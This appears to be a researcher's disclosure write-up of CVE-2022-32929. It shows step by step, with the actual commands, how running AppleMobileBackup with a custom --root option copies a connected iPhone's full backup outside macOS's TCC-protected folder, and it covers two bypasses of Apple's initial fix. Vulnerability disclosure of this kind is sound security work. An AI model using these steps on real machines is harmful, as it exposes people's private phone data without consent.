Intro Link to heading
Normally, when a users backup their iOS device, the backup is saved into ~/Library/Application Support/MobileSync/Backup
directory. The MobileSync
directory is properly protected by TCC, as the backup can contain photos, contact information, everything from the iOS device, and it might be unencrypted, so this is a whole lot of private information. It’s only accessible with Full Disk Access rights.
The issue is that an attacker can invoke the AppleMobileBackup
utility and make a backup to a custom location. Thus completely bypassing the protected backup location.
First, we need to find out the UDID of the connected iOS device, we can do this with the following one-liner:
system_profiler SPUSBDataType | sed -n -E -e '/(iPhone|iPad)/,/Serial/s/ *Serial Number: *(.+)/\1/p'
With my test iPhone 12 Pro connected I got the following:
csaby@mac ~ % system_profiler SPUSBDataType | sed -n -E -e '/(iPhone|iPad)/,/Serial/s/ *Serial Number: *(.+)/\1/p'
2021-11-23 17:37:01.606 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.607 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.607 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.608 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.608 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.609 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.610 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
AAAAAAAAXXXXXXXXXXXXXXXX
There are a few failures, but the last line is actually the UDID of the device, AAAAAAAAXXXXXXXXXXXXXXXX
(note that this is obfuscated, this is not a real UDID).
Then we can make a backup:
/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup -b --target "AAAAAAAA-XXXXXXXXXXXXXXXX" --root /tmp/
This will make a full backup, and we can access it, for example:
csaby@mac ~ % ls -l /tmp/AAAAAAAA-XXXXXXXXXXXXXXXX/00
total 6792
-rw-r--r-- 1 csaby wheel 42057 Nov 23 17:41 00002e8b25129e2c7ca48f8e6fae558ae448b1d8
...
Apple initially fixed this by removing the --root
option from AppleMobileBackup
. I reported two bypasses, which they say it’s fixed as well now, under the same CVE.
Bypass 1 Link to heading
Although I haven’t done it, someone could reimplement the bug using the /Library/Apple/System/Library/PrivateFrameworks/DeviceLink.framework/Versions/A/DeviceLink
framework, as it still has the function, called _DLSetRootDirectory
to set the root directory.
void _DLSetRootDirectory(int arg0, int arg1) {
r14 = arg1;
rbx = arg0;
rdi = *(arg0 + 0x98);
if (rdi != 0x0) {
CFRelease(rdi);
}
*(rbx + 0x98) = r14;
CFRetain(r14);
if (_DLShouldLog(0x6) != 0x0) {
__DLLog("/AppleInternal/Library/BuildRoots/800759f9-1149-11ed-a6b7-ea36a6e2fcb9/Library/Caches/com.apple.xbs/Sources/DeviceLink/WireProtocol/DeviceLinkConnection.c", "DLSetRootDirectory", 0x6, @"DLSetRootDirectory(\"%@\")", r14, r9, stack[0]);
}
return;
}
/* @class MBComputerManager2 */
-(int)backupWithTargetIdentifier:(void *)arg2 options:(void *)arg3 {
var_30 = arg3;
r13 = arg2;
r12 = self;
rbx = *ivar_offset(_backupTargetIdentifier);
[*(self + rbx) release];
*(r12 + rbx) = [r13 retain];
rax = [NSMutableDictionary dictionaryWithCapacity:0x0];
r14 = rax;
[rax setObject:@"Backup" forKey:@"MessageName"];
if (r13 != 0x0) {
[r14 setObject:r13 forKey:@"TargetIdentifier"];
}
rbx = var_30;
if (rbx != 0x0) {
[r14 setObject:rbx forKey:@"Options"];
rax = [rbx objectForKey:@"RootDirectory"];
if (rax != 0x0) {
[r12 setRootDirectory:rax];
DLEnsureDirectoryExists(rax);
}
}
var_38 = 0x0;
[r12 _sendMessage:r14 error:&var_38];
rbx = *ivar_offset(_backupTargetIdentifier);
[*(r12 + rbx) release];
*(r12 + rbx) = 0x0;
rax = sub_100008c92(var_38);
return rax;
}
Bypass 2 Link to heading
The other option was to copy the binary from Monterey and simply run it on Ventura Beta 5. It still works as it has the --root
option, and wasn’t disallowed in AMFI.
csaby@csabys-Mac ~ % ./AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup -b --target "AAAAAAAA-XXXXXXXXXXXXXXXX" --root /tmp/
csaby@csabys-Mac ~ % sw_vers
ProductName: macOS
ProductVersion: 13.0
BuildVersion: 22A5321d
csaby@csabys-Mac ~ % shasum ./AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup
05554a5309bee93182dc7e876f51036fa107413b ./AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup
csaby@csabys-Mac ~ % ls -l /private/tmp
total 0
drwxr-xr-x 260 csaby wheel 8320 Aug 11 14:42 AAAAAAAA-XXXXXXXXXXXXXXXX
Fix Link to heading
I didn’t verify how Apple fixed this at the end, but CVE-2022-32929 is only reported for iOS devices, and based on the following Twitter thread they might have decided to do something on the iOS end rather than on macOS. Apple asks the passcode now for every single backup. This is unfortunate, as this was an issue related to macOS, and it sounds like Apple have broken some functionality by making backups much harder on iOS.